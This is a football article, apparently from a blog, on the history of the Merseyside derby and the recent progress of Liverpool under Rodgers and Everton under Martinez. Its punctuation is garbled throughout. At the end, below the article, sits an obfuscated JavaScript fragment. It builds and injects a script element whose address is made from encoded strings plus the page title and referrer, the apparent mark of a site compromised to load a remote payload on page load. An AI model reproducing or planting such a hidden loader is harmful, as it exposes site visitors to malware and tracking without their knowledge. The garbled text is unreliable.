Merseyside Derby – The History And The Recent Resurgence Under Rodgers and Martinez

Liverpool

The city of Liverpool is once again catching up with Manchester and London on the football field and this Merseyside derby will hold testimonial to how far Everton FC and Liverpool FC have progressed this season.

Roberto Martinez hailed the Merseyside derby ai???as big as a football game can beai???. That tag is quite debatable, as every set of fans will provide you with a different definition for that. Resident of East London would point to the rivalry between Millwall and West Ham, while if you cross the Atlantic and reach Buenos Aires, football fans will fill you up with fabled tales of the Superclasico. In fact on the contrary Merseyside derby is an unique rivalry in many ways.

Despite the age old rivalry between these two neighbouring clubs, who are separated by a mile down the Walton Breck road, reports of hooliganism and clashes between both set of supporters are few and far between. This provides a friendly tag to this rivalry. In fact the most memorable moments of this Merseyside derby have been produced when both these clubs have stood by each other during distressing times. Be it during the Hillsborough disaster or the more recent death of 11-year-old Evertonian Rhys Jones.

Ian Rush, the top scorer in the history of Merseyside derbies, was emotional while recalling about the 1989 FA Cup final between Everton and Liverpool in a recent interview. Rush, a Liverpool legend, also has an emotional bonding with Everton. He was a childhood fan of the Toffees and considered Bob Latchford as his idol. In fact Ian Rush could have been an Everton player had Gordon Lee recognised the immense potential in him when he was playing for Chester City. Lee didnai??i??t think he was good enough and Rush joined Liverpool.

Right after the tragic Hillsborough disaster, Everton and Liverpool faced each other in the final of the 1989 FA Cup at Wembley. That match was more than just a regular cup final. The emotions surrounding the game on that day, considering everything that Merseyside went through during that period, was beyond anything a normal cup final can produce. One expects tension between the two sets of supporters that have such a long history between themselves ahead of such a game, but that was non-existent; in fact the Merseyside crowd displayed a value which is the base of human civilisation on this planet.

ai???It was unbelievable. I think itai??i??s basically the first time and the only time ever. When you go out to Wembley, you normally find one teamai??i??s in red, one teamai??i??s in blue. You know which side your supporters are. In that 1989 final, it was red and blue all around the ground so no one knew where the Everton supporters where, no one knew where the Liverpool supporters were. It was all joined together. So I think it was really for Merseyside itself it was an incredible feat, where folks joined together, next to each other, one in the blue shirt and one in the red shirt. It was an incredible feeling. I think the supporters had done Merseyside proud in that final.ai??? ai??i?? Ian Rush said in an Interview.

The relationship between the two set of supporters were stained after the Heysel disaster as English clubs were banned from Europe and Everton were affected by it. But as one disaster took them apart, another just four years later brought them together.

Both the clubs have struggled to match their glorious past in the Premier League era, yet the bragging rights persist. Everton have now finished above Liverpool two seasons in a row and this time both the clubs have had fantastic starts to their respective league campaigns. Separated by just three points both these clubs find themselves in the mix at the top in what is expected to be the most unpredictable Premier League season in recent memories.

Clubs from Manchester and London have dominated the Premier League era and the Merseyside had to carry the burden of their amazing history. But now there are signs that the city of Liverpool is catching up as well. This is as much down to the fact that some of the big teams from other cities have become unpredictable as much as both Liverpool and Everton making slow and steady progress. Although there is still a long way to go for both of these clubs, this season has only added more substance to that claim.

Brendan Rodgers hasnai??i??t been an instant hit at Anfield, but what Liverpool required most was to have patience with the former Swansea manager. He needed time to establish his style and philosophy on the squad and was also faced with the task of undoing some of the mistakes made by his predecessor. Slowly but surely Liverpool are now functioning the way Rodgers wants them to as a team. With two of the most lethal strikers in the Premier League, Liverpool can take apart any defence on their day and Rodgers has seemingly found a way to get the best out of the partnership between Luis Suarez and Daniel Sturridge.

Rodgers has also strengthened the defence this summer and the arrival of Kolo Toure, Mamadou Sakho and Aly Cissokho has provided him with various tactical options. The fullback is an area of concern though, especially with the recent fitness concerns of Glenn Johnson and the inconsistent performances of Jose Enrique and Aly Cissokho. The lack of goals from midfield is another small concern that Rodgers will have to address in the future. Performances of some of the midfielders have been under the scanner as well and Liverpool could look to strengthen the center of the park in January.

Roberto Martinez on the other hand has done a wonderful job since his arrival in the summer. Replacing a manager who has been at the club since 2002 was always going to be a tough task, but Martinez is slowly and surely winning over the fans. The Spaniardai??i??s tactical acumen has earned a lot of praise, first with Swansea and then with Wigan in the Premier League. Like David Moyes, Martinez has earned a reputation of making the most of limited resources during his spell with the Latics. He not only managed to miraculously avoid relegation for three seasons, but got them to play some attractive football with a pretty average squad at his disposal.

The hallmark of David Moyesai??i?? Everton side was their solidity as team. The biggest question at the start of this season was whether that ai???hard to beatai??? nature of Everton would disappear with the arrival of Roberto Martinez. His teams have always played eye catching football, but have often been disorganised at the back. There were doubts about whether Everton will lose their defensive steel upon his arrival. But Roberto Martinez has managed to keep his doubters quiet till now.

Everton have conceded only 10 goals so far this season, in fact the Toffees have conceded seven of those 10 goals in a spell of three games against West Ham, Newcastle and Manchester City. Tim Howard has kept six clean sheets so far and this has been the major contributor behind Martinezai??i??s early success. He has retained the defensive structure and personnel brought in by David Moyes and have added attacking flair to it. Jagielka, Baines and Distin have been solid at the back, while Coleman has seemingly developed a lot as a footballer this season. Martinez hasnai??i??t experimented with a three-man defence that he used at Wigan, But in Baines and Coleman he has the perfect full backs for that formation.

Some Everton fans were displeased with the type of football the side were playing under David Moyes. Last season most of the attacks was built around Fellaini, who would win long balls from the back and look to make something out of it. At times, the long balls played were more in hope than with any certainty. Roberto Martinez isnai??i??t comfortable with this brand of football and noticeably he played Fellaini in a much deeper role in the midfield than what the fans were accustomed to seeing under David Moyes. Everton drew their opening three games and failed to score in two of them, but a sudden change in focus in attack was always going to take time to come into effect. Fellainiai??i??s departure to Manchester United has almost come as a relief for Martinez, who was certainly not the man to utilize the Belgium international to the best of his abilities and Fellaini as a holding midfielder isnai??i??t as effective as Fellaini as a target man.

But the lack of goals was a headache and Jelavic wasnai??i??t delivering upfront. Everton needed a more clinical finisher and the arrival of Lukaku has provided them that cutting age upfront. The 20-year-old has already scored five goals in six starts and Martinez has replaced one Belgium international, who was a clear misfit in his plans, with another Belgium international, who fits the bill perfectly. The rise of Ross Barkley has been another big positive this season so far and although it is very easy to overhype a young player, Barkleyai??i??s qualities are there for everyone to see. He has provided the spark in the final third. Kevin Mirallas has had a slow start this season, but is slowly finding his feet under the new management and could turn out to be the Martinezai??i??s new Victor Moses.

Everton came out with flying colours in their first big test of the season as they won against Chelsea at Goodison Park. They did lose against Manchester City away from home, but gave a fairly good account of themselves in a stadium where very few teams will get a positive result. But this is undoubtedly their biggest match of the season so far.

This will be the 43rd Merseyside derby in the Premier League era. Liverpool have had the upper hand in the recent meetings between these sides winning three of the last six matches. Evertonai??i??s last win against their neighbours came in 2010 when Tim Cahill and Mikel Arteta scored for the home side.

Both the clubs are under transition and neither of the managerai??i??s work is complete with a lot of restricting left if they are to attain a level close to their glorious past. Perhaps the biggest positive for Merseyside is the fact that this derby is now being held between two teams who are competing at the top of table, rather than two clubs desperate to avoid mid-table mediocrity. Times are changing at Merseyside and the most successful football city (statistically) in England is once again catching up with Manchester and London. Beyond the rivalry, both the clubs are rising together.

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Exit mobile version